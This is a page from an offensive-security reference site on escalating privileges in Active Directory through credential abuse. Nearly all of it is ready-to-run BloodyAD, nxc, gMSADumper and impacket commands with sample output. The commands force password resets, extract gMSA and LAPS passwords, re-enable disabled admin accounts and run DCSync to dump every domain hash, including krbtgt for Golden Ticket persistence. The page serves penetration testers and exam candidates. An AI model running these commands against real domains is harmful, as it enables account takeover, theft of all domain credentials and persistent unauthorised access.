# Password Attacks and Credential Abuse

> Techniques for exploiting weak, reused, or cached credentials in Active Directory to escalate privileges via spraying, stuffing, Kerberoasting, and hash abuse.

- **URL:** https://hackindex.io/platforms/active-directory/privilege-escalation/ad-password-attacks-and-credential-abuse
- **Path:** Active Directory > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

With ACL rights on user accounts you can force password changes, read managed passwords, and enable accounts: all without any exploit. This page covers credential-based privilege escalation using BloodyAD and impacket from a position of partial access.

- ForceChangePassword: reset a user's password without knowing the current one
- gMSA extraction: read the managed password blob and get the NT hash
- LAPS extraction: read auto-rotated local admin passwords from computer objects
- Enable disabled accounts: re-activate old admin or service accounts that retain privileges
- DCSync: dump all domain password hashes via DS-Replication rights

## Force password change: ForceChangePassword

If you have ForceChangePassword or GenericAll rights on an account, you can reset its password without knowing the current one. The account continues to function normally: only its password changes.

**Force password change with BloodyAD**

```bash
# Reset password on target account
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'

# With Pass-the-Hash
bloodyAD -d $DOMAIN -u $USER -p :$NTHASH --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'

# Verify new credentials work
nxc smb $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
nxc ldap $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
# SMB  10.10.10.10  445  DC01  [+] corp.local\targetuser:NewPassword123! (Pwn3d!)
```

This modifies the target account's password: the legitimate owner will notice immediately if they try to log in. On exams this is acceptable. On real engagements, document the original password hash before changing it so you can restore it, or use shadow credentials instead which leave the password untouched.

## gMSA password extraction

Group Managed Service Accounts store their current password blob in `msDS-ManagedPassword`. Only accounts listed in `msDS-GroupMSAMembership` can read it, but that ACL is often misconfigured. BloodyAD reads the blob and outputs the NT hash directly.

**Read gMSA password**

```bash
# Read gMSA managed password blob
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $GMSA_ACCOUNT --attr msDS-ManagedPassword

# gMSADumper: parses blob and outputs NT hash directly
python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP

# nxc
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --gmsa

# Use the NT hash for Pass-the-Hash
nxc smb $TARGET_IP -u $GMSA_ACCOUNT -H $NTHASH --local-auth
impacket-secretsdump $DOMAIN/$GMSA_ACCOUNT@$TARGET_IP -hashes :$NTHASH
# svc-backup$:aes256-cts-hmac-sha1-96:...
# svc-backup$:des-cbc-md5:...
# svc-backup$:::[NTHASH]:::
```

## LAPS password extraction

LAPS stores auto-rotated local admin passwords in `ms-MCS-AdmPwd` on computer objects. Over-permissioned ACLs on computer OUs are common: any user with read rights on that attribute gets the current local admin password for that host.

**Read LAPS passwords**

```bash
# Read LAPS password via BloodyAD
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $COMPUTER_ACCOUNT --attr ms-MCS-AdmPwd

# All computers with LAPS readable
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(ms-MCS-AdmPwd=*)' --attr dNSHostName ms-MCS-AdmPwd

# nxc LAPS module
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps

# Use the LAPS password for local admin access
nxc smb $COMPUTER_IP -u Administrator -p $LAPS_PASSWORD --local-auth
# LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS Password: xK9#mP2!vL
```

## Enable disabled accounts

Disabled accounts (especially old admin or service accounts) often retain group memberships and permissions from when they were active. Re-enabling them with a known password gives you access to whatever rights they still hold.

**Enable disabled account**

```bash
# Find disabled accounts with privileged group memberships
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' --attr sAMAccountName memberOf

# Remove ACCOUNTDISABLE flag (requires GenericAll or specific write right)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER ACCOUNTDISABLE

# Set a known password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'

# Verify
nxc ldap $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
```

## DCSync: dump all domain hashes

DCSync replicates the domain controller's password database by abusing DS-Replication rights. You need either Domain Admin, an account with explicit replication rights, or rights granted via the `add dcsync` BloodyAD command covered in [ACL Abuse](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation).

**DCSync with impacket**

```bash
# Dump all domain hashes
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc

# Dump specific account only
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user Administrator

# With Pass-the-Hash
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc

# nxc
nxc smb $TARGET_IP -u $USER -p $PASSWORD --ntds
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
```

The `krbtgt` hash is needed for Golden Ticket persistence. The Administrator hash can be used directly for Pass-the-Hash. For using these hashes for lateral movement see [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket). For Golden Ticket persistence see [Golden and Silver Ticket Persistence](https://hackindex.io/platforms/active-directory/persistence/golden-and-silver-ticket-persistence).

## References

- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - set password, get object msDS-ManagedPassword, remove uac reference
- [gMSADumper: GitHub](https://github.com/micahvandeusen/gMSADumper) - Parses msDS-ManagedPassword blobs and outputs NT hashes
- [Impacket secretsdump: GitHub](https://github.com/fortra/impacket) - DCSync via DS-Replication rights